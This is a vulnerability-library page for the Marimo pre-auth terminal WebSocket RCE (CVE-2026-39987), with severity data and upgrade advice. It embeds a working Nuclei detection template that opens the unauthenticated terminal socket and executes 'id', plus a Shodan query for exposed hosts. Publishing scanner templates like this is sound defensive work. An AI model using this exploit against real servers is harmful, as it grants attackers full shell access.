/Vulnerability Library

Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE

CVE-2026-39987
Verified

Description

Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.

Severity

Critical

CVSS Score

9.3

Exploit Probability

82%

Affected Product

marimo

Published Date

April 9, 2026

Template Author

ritikchaddha

CVE-2026-39987.yaml
id: CVE-2026-39987

info:
  name: Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
  author: ritikchaddha
  severity: critical
  description: |
    Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.
  impact: |
    An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system.
  remediation: |
    Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the
    terminal WebSocket endpoint.
  reference:
    - https://github.com/advisories/GHSA-2679-6mx9-h9xc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39987
    - https://github.com/marimo-team/marimo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-39987
    epss-score: 0.82174
    epss-percentile: 0.99231
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: marimo-team
    product: marimo
    shodan-query: http.favicon.hash:-1864630356
  tags: cve,cve2026,marimo,rce,websocket,vkev,kev

javascript:
  - code: |
      let net = require("nuclei/net");
      let addr = target_host + ":" + target_port;
      let conn = net.Open('tcp', addr);

      let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";

      let req = "GET /terminal/ws HTTP/1.1\r\n";
      req += "Host: " + addr + "\r\n";
      req += "Upgrade: websocket\r\n";
      req += "Connection: Upgrade\r\n";
      req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
      req += "Sec-WebSocket-Version: 13\r\n";
      req += "Origin: http://" + addr + "\r\n";
      req += "\r\n";

      conn.Send(req);
      let upgradeResp = conn.RecvString();

      if (upgradeResp.indexOf("101") !== -1) {
        conn.SendHex("818337fa1e2d5e9e14");

        let output = "";
        for (let i = 0; i < 5; i++) {
          let chunk = conn.RecvString();
          if (chunk.length > 0) {
            output += chunk;
          }
          if (output.indexOf("uid=") !== -1) {
            break;
          }
        }

        conn.Close();
        Export(upgradeResp + output);
      }

    args:
      target_host: "{{Host}}"
      target_port: "{{Port}}"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"

      - type: dsl
        dsl:
          - "success == true"

    extractors:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"
# digest: 4a0a0047304502200b5c5f72711af943fbdc3d96dbcea5a589a627985d40e2a923e86c9e97ae6087022100d279acfb4f2fbcca3bb90f7b6338bd42032b7549b9a3698b218ef79509d16158:922c64590222798bb761d5b6d8e72950
9.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVE ID:
cve-2026-39987
CWE ID:
cwe-306

References

https://github.com/advisories/GHSA-2679-6mx9-h9xchttps://nvd.nist.gov/vuln/detail/CVE-2026-39987https://github.com/marimo-team/marimo

Remediation Steps

Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the terminal WebSocket endpoint.